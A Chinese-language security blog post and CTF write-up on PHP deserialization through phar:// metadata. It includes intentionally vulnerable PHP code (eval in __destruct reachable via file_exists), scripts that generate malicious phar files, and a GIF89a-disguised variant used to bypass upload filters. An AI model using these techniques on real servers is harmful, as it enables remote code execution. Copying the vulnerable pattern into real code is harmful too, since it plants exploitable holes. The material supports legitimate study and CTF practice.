F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

    • 初探XXE漏洞攻击
    • 利用phar文件拓展php反序列化攻击
      • 开始的一点废话
      • 前言
      • 原理分析
        • 什么是phar文件
        • phar文件的结构
      • 利用phar文件攻击
        • Demo1 任意代码执行(多见于CTF)
        • Demo2 phar文件幻数
      • 利用条件
      • [GeekGame 2020] 反序列化?
      • 后记
    • PHP新特性绕过disable_functions
  • python安全

  • Java安全

  • 其他

  • 技术文章
  • php安全
F4de
2020-10-03

利用phar文件拓展php反序列化攻击

# 开始的一点废话

最近比赛打的挺菜的,但是还是跟着师傅们学到了很多东西的,不管怎么样,还是踏踏实实一点点学,仔细写写PHP代码,不能浮于表面。

# 前言

通常利用反序列化漏洞的时候,只能将反序列化后的字符串传入到unserialize()中,这种漏洞随着代码安全性的提高之后难以利用。在2018年的Black Hat会议上,Sam Thomas提出了利用phar文件会以序列化字符串的形式存储用户自定义的meta_data这一点特性,拓展了php反序列化漏洞的攻击。该方法依赖于文件系统的函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,可以不依赖于unserialize()进行反序列化操作。

参考:https://paper.seebug.org/680/


# 原理分析

在先说phar文件如何实现php反序列化攻击的之前,先要明白什么是phar文件以及phar文件的结构。

# 什么是phar文件

  • phar(PHP Archive)是PHP里的一种打包文件,用于归档 。PHP版本>=5.3的时候默认开启对phar文件的支持。
  • phar文件默认状态是只读。使用phar文件不需要任何额外配置。
  • phar://伪协议用来解析phar文件的内容。

# phar文件的结构

# a stub

可以理解位一种标志,其格式为xxx<?php xxx;__HALT_COMPILER();?>,前面的内容不限,但是一定要以__HALT_COMPILER();?>来结尾,否则phar扩展无法识别这个文件,也就是说,phar扩展是以__HALT_COMPILER();?>为标志来识别phar文件的。

# a manifest describing the contents

图2
phar文件的本质就是一种压缩文件,每个被压缩文件的权限,属性等信息都被存放在这里,另外,用户自定义的meta-data也会被储存在这里,这是实现phar文件攻击的核心。

# the file contents

被压缩的内容

# [optional] a signature for verifying Phar integrity (phar file format only)

文件签名,放在文件末尾。格式如下: 图3


# 利用phar文件攻击

# Demo1 任意代码执行(多见于CTF)

要攻击的站点源码如下:

<?php

class Flag{
    public $code;
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}

$filename = $_GET['filename'];

file_exists($filename);

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

传入文件名,检测该文件是否存在。

下面开始构造phar文件进行任意代码执行

  • (注)开启phar文件的生成权限需要修改php的配置文件php.ini,将;phar.readonly = On修改为Off即可,注意去掉;。 图4
  1. 生成一个phar文件,生成phar文件的代码如下:

<?php
class Flag{
    public $code;
}               //要攻击站点已存在的类
                
@unlink("test.phar");   //文件名 test.phar
$phar = new Phar("test.phar");       
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  1. 执行完上述代码之后,会在本地这个php文件的同目录下生成一个phar文件。如下图: 图5

  2. 用winhex查看该文件: 图6

  3. 可以看到,我们自定义的meta_data以序列化字符串的形式存储在了phar文件里。有序列化必然会有反序列化,PHP的大部分文件系统函数在通过phar://协议解析phar文件的时候,都会将meta_data进行反序列化操作,受影响的文件系统函数如下: 图7

  4. 利用phar文件以及phar://伪协议进行攻击: 图8

实现了任意代码执行。

  • 来看php底层是怎么处理的: 图9

可以看到,底层代码对meta_data进行了反序列化操作。

# Demo2 phar文件幻数

  • 之前提到过,phar扩展是以__HALT_COMPILER();?>来识别phar文件的,也就是说,我们可以修改phar文件头前半部分的内容,来绕过某些检测。
<?php
class Flag{
    public $code;
}               //要攻击站点已存在的类
                
@unlink("test.phar");   //文件名 test.phar
$phar = new Phar("test.phar");       
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

在sub中新增加了GIF89a这部分,将phar文件伪装成GIF文件来绕过某些检测。 图10

将生成的test.phar文件修改后缀名,改为test.gif,再次进行测试: 图11


# 利用条件

  • phar文件必须可以上传到服务端。
  • 必须要有可以利用的魔术方法(__wakeup()、__destruct())等。
  • 文件系统的相关函数参数可控,且phar、:、/等关键字没有被过滤。

# [GeekGame 2020] 反序列化?

  1. 进入题目,是一个文件上传的页面,下面给了提示,所以我们到/vulnerable.php看看。
  2. 直接给了源码:
<?php
highlight_file(__FILE__);
if (isset($_GET['filename'])) {
    $filename = $_GET['filename'];
} else {
    $filename = "";
}

class Flag
{
    private $code;

    function __destruct()
    {
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}

if (file_exists($filename)) {
    echo "文件存在的呢;";
} else {
    echo "啊这,文件不在哦";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  1. 很明显是利用反序列化调用__destruct()方法来执行任意代码,但是没有unserialize()函数,要想调用魔术方法,结合题目一开始的文件上传,很容易想到phar文件的上传。
  2. 利用Demo所示的代码,生成phar文件,改为GIF文件来绕过检测,直接拿到Flag。 图12
    图13

# 后记

比赛当时拿到这道题目没有一点思路,多亏了一位师傅提醒“一个phar文件的上传”,才拿到了Flag,故有此文。

#PHP反序列化
初探XXE漏洞攻击
PHP新特性绕过disable_functions

← 初探XXE漏洞攻击 PHP新特性绕过disable_functions→

最近更新
01
谈一谈Java动态加载字节码的方式
12-18
02
Fastjson反序列化(2)-TemplatesImpl利用链
12-01
03
Fastjson反序列化(1)-初探利用方式
11-30
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式